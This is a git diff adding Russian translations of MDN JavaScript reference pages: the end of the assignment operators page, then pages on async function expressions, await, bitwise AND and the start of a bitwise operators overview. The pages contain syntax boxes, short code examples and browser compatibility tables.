+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR_assignment">Присваивание с побитовым XOR</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR_assignment">Присваивание с побитовым OR</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Присваивание">Присваивание</h2>
+
+<p>Простой оператор присваивания, который задает значение переменной. Цепочка операторов присваивания может быть использована для назначения нескольким переменным одного и того же значения. Смотрите пример.</p>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x = y
+</pre>
+
+<h4 id="Примеры">Примеры</h4>
+
+<pre class="brush: js">// Например, следующие переменные:
+//  x = 5
+//  y = 10
+//  z = 25
+
+x = y     // x - 10
+x = y = z // x, y и z все равны 25
+</pre>
+
+<h2 id="Присваивание_со_сложением">Присваивание со сложением</h2>
+
+<p>Оператор добавочного присваивания, <strong>добавляет</strong> значение правого операнда к значению левого, и сохраняет результат в переменную левого операнда.<strong> </strong>Типы значений обоих операндов, определяют поведение оператора добавочного присваивания. Возможны сложение и конкатенация. Смотрите {{jsxref("Operators/Arithmetic_Operators", "addition operator", "#Addition", 1)}} для подробностей.</p>
+
+<h4 id="Синтаксис_2">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x += y
+<strong>Значение:</strong> x = x + y
+</pre>
+
+<h4 id="Примеры_2">Примеры</h4>
+
+<pre class="brush: js">// Например, следующие переменные:
+//  foo = "foo"
+//  bar = 5
+//  baz = true
+
+// Результат исполнения каждого нижеприведенного примера
+// представлен в изоляции от предыдущих примеров (как если
+// бы значения переменных foo, bar, baz возвращались на
+// первоначальные)
+
+// Number + Number -&gt; сложение
+bar += 2 // 7
+
+// Boolean + Number -&gt; сложение
+baz += 1 // 2
+
+// Boolean + Boolean -&gt; сложение
+baz += false // 1
+
+// Number + String -&gt; конкатенация
+bar += "foo" // "5foo"
+
+// String + Boolean -&gt; конкатенация
+foo += false // "foofalse"
+
+// String + String -&gt; конкатенация
+foo += "bar" // "foobar"
+</pre>
+
+<h2 id="Присваивание_с_вычитанием">Присваивание с вычитанием</h2>
+
+<p>Оператор вычитаемого присваивания <strong>вычитает</strong> значение правого операнда из значения левого, и присваивает результат переменной левого операнда. Смотрите {{jsxref("Operators/Arithmetic_Operators", "subtraction operator", "#Subtraction", 1)}} для подробностей.</p>
+
+<h4 id="Синтаксис_3">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x -= y
+<strong>Значение:</strong>  x  = x - y
+</pre>
+
+<h4 id="Примеры_3">Примеры</h4>
+
+<pre class="brush: js">// Например, следующие переменные:
+//  bar = 5
+
+bar -= 2     // 3
+bar -= "foo" // NaN
+</pre>
+
+<h3 id="Присваивание_с_умножением"><a name="Multiplication_assignment">Присваивание с умножением</a></h3>
+
+<p>The multiplication assignment operator <strong>multiplies</strong> a variable by the value of the right operand and assigns the result to the variable. See the {{jsxref("Operators/Arithmetic_Operators", "multiplication operator", "#Multiplication", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_4">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x *= y
+<strong>Значение:</strong>  x  = x * y
+</pre>
+
+<h4 id="Примеры_4">Примеры</h4>
+
+<pre class="brush: js">// Assuming the following variable
+//  bar = 5
+
+bar *= 2     // 10
+bar *= "foo" // NaN
+</pre>
+
+<h3 id="Присваивание_с_делением"><a name="Division_assignment">Присваивание с делением</a></h3>
+
+<p>The division assignment operator <strong>divides</strong> a variable by the value of the right operand and assigns the result to the variable. See the {{jsxref("Operators/Arithmetic_Operators", "division operator", "#Division", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_5">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x /= y
+<strong>Значение:</strong>  x  = x / y
+</pre>
+
+<h4 id="Примеры_5">Примеры</h4>
+
+<pre class="brush: js">// Assuming the following variable
+//  bar = 5
+
+bar /= 2     // 2.5
+bar /= "foo" // NaN
+bar /= 0     // Infinity
+</pre>
+
+<h3 id="Присваивание_по_модулю"><a name="Remainder_assignment">Присваивание по модулю</a></h3>
+
+<p>The remainder assignment operator <strong>divides</strong> a variable by the value of the right operand and assigns the <strong>remainder</strong> to the variable. See the {{jsxref("Operators/Arithmetic_Operators", "remainder operator", "#Remainder", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_6">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x %= y
+<strong>Значение:</strong>  x  = x % y
+</pre>
+
+<h4 id="Примеры_6">Примеры</h4>
+
+<pre class="brush: js">// Assuming the following variable
+// bar = 5
+
+bar %= 2     // 1
+bar %= "foo" // NaN
+bar %= 0     // NaN
+</pre>
+
+<h3 id="Присваивание_с_левым_сдвигом"><a name="Left_shift_assignment">Присваивание с левым сдвигом</a></h3>
+
+<p>The left shift assignment operator moves the specified amount of bits to the left and assigns the result to the variable. See the {{jsxref("Operators/Bitwise_Operators", "left shift operator", "#Left_shift", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_7">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x &lt;&lt;= y
+<strong>Значение:</strong>  x   = x &lt;&lt; y
+</pre>
+
+<h4 id="Примеры_7">Примеры</h4>
+
+<pre class="brush: js">var bar = 5; //  (00000000000000000000000000000101)
+bar &lt;&lt;= 2; // 20 (00000000000000000000000000010100)
+</pre>
+
+<h3 id="Присваивание_с_правым_сдвигом"><a name="Right_shift_assignment">Присваивание с правым сдвигом</a></h3>
+
+<p>The right shift assignment operator moves the specified amount of bits to the right and assigns the result to the variable. See the {{jsxref("Operators/Bitwise_Operators", "right shift operator", "#Right_shift", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_8">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x &gt;&gt;= y
+<strong>Значение:</strong>  x   = x &gt;&gt; y
+</pre>
+
+<h4 id="Примеры_8">Примеры</h4>
+
+<pre class="brush: js">var bar = 5; //   (00000000000000000000000000000101)
+bar &gt;&gt;= 2;   // 1 (00000000000000000000000000000001)
+
+var bar -5; //    (-00000000000000000000000000000101)
+bar &gt;&gt;= 2;  // -2 (-00000000000000000000000000000010)
+</pre>
+
+<h3 id="Присваивание_с_беззнаковым_сдвигом_вправо"><a name="Unsigned_right_shift_assignment">Присваивание с беззнаковым сдвигом вправо</a></h3>
+
+<p>The unsigned right shift assignment operator moves the specified amount of bits to the right and assigns the result to the variable. See the {{jsxref("Operators/Bitwise_Operators", " unsigned right shift operator", "#Unsigned_right_shift", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_9">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x &gt;&gt;&gt;= y
+<strong>Значение:</strong>  x    = x &gt;&gt;&gt; y
+</pre>
+
+<h4 id="Примеры_9">Примеры</h4>
+
+<pre class="brush: js">var bar = 5; //   (00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2;  // 1 (00000000000000000000000000000001)
+
+var bar = -5; // (-00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2; // 1073741822 (00111111111111111111111111111110)</pre>
+
+<h3 id="Присваивание_с_побитовым_AND"><a name="Bitwise_AND_assignment">Присваивание с побитовым AND</a></h3>
+
+<p>The bitwise AND assignment operator uses the binary representation of both operands, does a bitwise AND operation on them and assigns the result to the variable. See the {{jsxref("Operators/Bitwise_Operators", "bitwise AND operator", "#Bitwise_AND", 1)}} for more details.</p>
+
+<h4 id="Синтаксис_10">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x &amp;= y
+<strong>Значение:</strong>  x  = x &amp; y
+</pre>
+
+<h4 id="Примеры_10">Примеры</h4>
+
+<pre class="brush: js">var bar = 5;
+// 5:     00000000000000000000000000000101
+// 2:     00000000000000000000000000000010
+bar &amp;= 2; // 0
+</pre>
+
+<h3 id="Присваивание_с_побитовым_XOR"><a name="Bitwise_XOR_assignment">Присваивание с побитовым XOR</a></h3>
+
+<p>Побитовый оператор присваивания XOR использует двоичное представление обоих операндов, выполняет побитовую XOR-операцию и присваивает результат переменной. Для получения более подробной информации см. {{jsxref("Operators/Bitwise_Operators", "Побитовый оператор XOR", "#Bitwise_XOR", 1)}}.</p>
+
+<h4 id="Синтаксис_11">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x ^= y
+<strong>Значение:</strong>  x  = x ^ y
+</pre>
+
+<h4 id="Примеры_11">Примеры</h4>
+
+<pre class="brush: js">var bar = 5;
+bar ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h3 id="Присваиванием_с_побитовым_OR"><a name="Bitwise_OR_assignment">Присваиванием с побитовым OR</a></h3>
+
+<p>Побитовый оператор присваивания OR использует двоичное (бинарное) представление обоих операндов, выполняет побитовое ИЛИ для них и присваивает результат переменной. Дополнительную информацию см. {{jsxref("Operators/Bitwise_Operators", "Побитовый оператор OR", "#Bitwise_OR", 1)}}.</p>
+
+<h4 id="Синтаксис_12">Синтаксис</h4>
+
+<pre class="syntaxbox"><strong>Оператор:</strong> x |= y
+<strong>Значение:</strong>  x  = x | y
+</pre>
+
+<h4 id="Примеры_12">Примеры</h4>
+
+<pre class="brush: js">var bar = 5;
+bar |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h2 id="Примеры_13">Примеры</h2>
+
+<h3 id="Левый_операнд_с_другим_оператором_присваивания">Левый операнд с другим оператором присваивания</h3>
+
+<p>В необычных ситуациях оператор присваивания, например, <em>x += y</em> не идентичен выражению, <em>x = x + y</em>. Когда левый операнд оператора присваивания содержит оператор присваивания, левый операнд оценивается только один раз. Например:</p>
+
+<pre class="brush: js">a[i++] += 5         // i оценивается только один раз
+a[i++] = a[i++] + 5 // i оценивается дважды
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.13', 'Операторы присваивания')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-assignment-operators', 'Операторы присваивания')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">Арифметические операции</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/async_function/index.html b/files/ru/web/javascript/reference/operators/async_function/index.html
new file mode 100644
index 0000000000..9b9c72aba1
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/async_function/index.html
@@ -0,0 +1,147 @@
+---
+title: async function expression
+slug: Web/JavaScript/Reference/Operators/async_function
+translation_of: Web/JavaScript/Reference/Operators/async_function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Ключевое слово <strong><code>async function</code></strong> исползуется для определения асинхронной функции внутри выражений.</p>
+
+<p>Вы также можете определить асинхронные функции при помощи <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function" title="The async function keyword can be used to define async functions inside expressions.">инструкции async function</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">async function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>statements</em>
+}</pre>
+
+<p>Согласно спецификации <a href="https://developer.mozilla.org/en-US/docs/">ES2015</a>, вы также можете использовать <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">стрелочные функции</a>.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя функции. Этот параметр может быть опущен, в этом случае говорят об <em>анонимной функции</em>. Имя используется только в теле функции.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>Имя аргумента, передаваемого функции.</dd>
+ <dt><code>statements</code></dt>
+ <dd>Инструкции, составляющие тело функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Выражение <code>async function</code> очень похоже, и имеет почти тот же синтаксис, что и {{jsxref('Statements/async_function', 'async function statement')}}. Главное отличие между выражениями async <code>function</code> и объявлениями async <code>function</code> заключается в <em>имени функции,</em> которое может быть опущено в выражении <code>async function</code> для создания <em>анонимной</em> функции. Выражение <code>async function</code> можно использовать в виде {{Glossary("IIFE")}} (Immediately Invoked Function Expression), и оно будет запущено сразу после объявления. См. также главу о <a href="/en-US/docs/Web/JavaScript/Reference/Functions">функциях</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+(async function(x) { // выражение асинхронной функции в виде IIFE
+  var a = resolveAfter2Seconds(20);
+  var b = resolveAfter2Seconds(30);
+  return x + await a + await b;
+})(10).then(v =&gt; {
+  console.log(v);  // выведет 60 после 2 секунд.
+});
+
+var add = async function(x) { // назначение выражения асинхронной функции переменной
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+};
+
+add(10).then(v =&gt; {
+  console.log(v);  // выведет 60 после 4 секунд.
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th> Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatGeckoDesktop("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/await/index.html b/files/ru/web/javascript/reference/operators/await/index.html
new file mode 100644
index 0000000000..ecce9884c5
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/await/index.html
@@ -0,0 +1,157 @@
+---
+title: await
+slug: Web/JavaScript/Reference/Operators/await
+translation_of: Web/JavaScript/Reference/Operators/await
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор <code>await</code> используется для ожидания окончания {{jsxref("Promise")}}. Может быть использован только внутри {{jsxref("Statements/async_function", "async function")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = await <em>expression</em>;</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>{{jsxref("Promise")}} или любое другое значение для ожидания разрешения.</dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>Возвращает полученное из <code>Promise</code> значение, либо само значение, если оно не является <code>Promise.</code></p>
+ </dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Оператор <code>await</code> заставляет функцию, объявленную с использованием оператора <code>async</code>, ждать выполнения <code>Promise</code> и продолжать выполнение после возвращения <code>Promise</code> значения. Впоследствии возвращает полученное из  <code>Promise</code> значение. Если типом значения, к которому был применен оператор <code>await</code>, является не <code>Promise</code>, то значение приводится к успешно выполненному <code>Promise</code>.</p>
+
+<p>Если <code>Promise</code> отклоняется, то <code>await</code> генерирует исключение с отклонённым значением.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><code>await</code> ожидает разрешения <code>Promise</code> и возвращает полученное значение.</p>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function f1() {
+  var x = await resolveAfter2Seconds(10);
+  console.log(x); // 10
+}
+f1();
+</pre>
+
+<p>Если типом значения является не <code>Promise</code>, значение преобразуется к успешно выполненному <code>Promise</code>.</p>
+
+<pre class="brush: js">async function f2() {
+  var y = await 20;
+  console.log(y); // 20
+}
+f2();
+</pre>
+
+<p>Если <code>Promise</code> отклонен, то выбрасывается исключение с переданным значением.</p>
+
+<pre class="brush: js">async function f3() {
+  try {
+    var z = await Promise.reject(30);
+  } catch(e) {
+    console.log(e); // 30
+  }
+}
+f3();</pre>
+
+<p>Обработка отклонённого <code>Promise</code> без <code>try/catch</code> блока.</p>
+
+<pre class="brush: js">var response = await promisedFunction().catch((err) =&gt; { console.log(err); });
+// response получит значение undefined, если Promise будет отклонён
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async functions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>10.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("52.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>10.1</td>
+   <td>{{CompatChrome(55)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
new file mode 100644
index 0000000000..ce232c1463
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html
@@ -0,0 +1,111 @@
+---
+title: Bitwise AND (&)
+slug: Web/JavaScript/Reference/Operators/Bitwise_AND
+tags:
+  - JavaScript
+  - Оператор
+  - По
+  - Поитовые операторы
+translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Побитовый опеератор И (<code>&amp;</code>) возвращает <code>1</code> в каждой битовой позиции,  для которой соответствующие биты обоих операндов равны <code>1</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-bitwise-and.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>a</var> &amp; <var>b</var></code>
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Операнды преобразуются в  32-битные целые числа и выражаются серией битов (нулей and единиц). Числа с более чем 32 битами отбрасывают старшие разряды. Например, следующее целое число  с более чем 32 битами будет преобразовано в 32-биитное целое:</p>
+
+<pre class="brush: js notranslate">До: 11100110111110100000000000000110000000000001
+После:          10100000000000000110000000000001</pre>
+
+<p>Каждый бит в первом операнде связан с соответствующим битом во втором операнде:<em>первый бит - с первым</em>,<em>второй- со вторым</em>, и т.д.</p>
+
+<p>Оператор применяется к каждой паре битов, и результат строится побитово.</p>
+
+<p>Таблица истинности для оператора И:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th class="header" scope="col">a</th>
+   <th class="header" scope="col">b</th>
+   <th class="header" scope="col">a И b</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>0</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>0</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>1</td>
+   <td>1</td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: js notranslate">.    9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 &amp; 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+</pre>
+
+<p>Побитовоее И для любого числа <code><var>x</var></code> с <code>0</code> дает <code>0</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_побитового_И">Использование побитового И</h3>
+
+<pre class="brush: js notranslate">// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+5 &amp; 2; // 0</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-BitwiseANDExpression', 'Bitwise AND expression')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("javascript.operators.bitwise_and")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise">Bitwise operators in the JS guide</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_AND_assignment">Bitwise AND assignment operator</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/bitwise_operators/index.html b/files/ru/web/javascript/reference/operators/bitwise_operators/index.html
new file mode 100644
index 0000000000..e681bdf40b
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/bitwise_operators/index.html
@@ -0,0 +1,625 @@
+---
+title: Битовые операции
+slug: Web/JavaScript/Reference/Operators/Bitwise_Operators
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Битовые операции обращаются со своими операндами как с 32-х разрядными последовательностями нулей и единиц, а не как с десятичными, восьмеричными или шестнадцатиричными числами. К примеру десятичное число 9 в двоичном представлении будет выглядеть как 1001. Битовые операции производят свои преобразования именно с двоичным представлением числа, но возвращают стандартные числовые значения языка JavaScript.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header" colspan="2">Операторы</td>
+  </tr>
+  <tr>
+   <td>Реализованы в:</td>
+   <td>JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>Версия ECMA:</td>
+   <td>ECMA-262</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Следующая таблица содержит сводные данные о битовых операциях в JavaScript:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Оператор</th>
+   <th>Использование</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>Побитовое И</td>
+   <td style="white-space: nowrap;"><code>a &amp; b</code></td>
+   <td>Возвращает 1 в тех разрядах, которые у обоих операндов были равны 1.</td>
+  </tr>
+  <tr>
+   <td>Побитовое ИЛИ</td>
+   <td style="white-space: nowrap;"><code>a | b</code></td>
+   <td>Возвращает 1 в тех разрядах, которые хотя бы у одного из операндов были равны 1.</td>
+  </tr>
+  <tr>
+   <td>Побитовое исключающее ИЛИ</td>
+   <td style="white-space: nowrap;"><code>a ^ b</code></td>
+   <td>Возвращает 1 в тех позициях, которые только у одного из операндов были равны 1.</td>
+  </tr>
+  <tr>
+   <td>Побитовое НЕ</td>
+   <td style="white-space: nowrap;"><code>~ a</code></td>
+   <td>Инвертирует биты операнда.</td>
+  </tr>
+  <tr>
+   <td>Сдвиг влево</td>
+   <td style="white-space: nowrap;"><code>a &lt;&lt; b</code></td>
+   <td>Сдвигает двоичное представление числа a на b разрядов влево заполняя освободившиеся справа разряды нулями.</td>
+  </tr>
+  <tr>
+   <td>Арифметический сдвиг вправо</td>
+   <td style="white-space: nowrap;"><code>a &gt;&gt; b</code></td>
+   <td>Сдвигает двоичное представление числа a на b разрядов вправо. Освобождающиеся разряды заполняются  знаковым битом.</td>
+  </tr>
+  <tr>
+   <td>Логический сдвиг вправо</td>
+   <td style="white-space: nowrap;"><code>a &gt;&gt;&gt; b</code></td>
+   <td>Сдвигает двоичное представление числа a на b разрядов вправо. Освобождающиеся разряды заполняются нулями.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Signed_32-bit_integers" name="Signed_32-bit_integers">Представление чисел (Signed 32-bit integers)</h3>
+
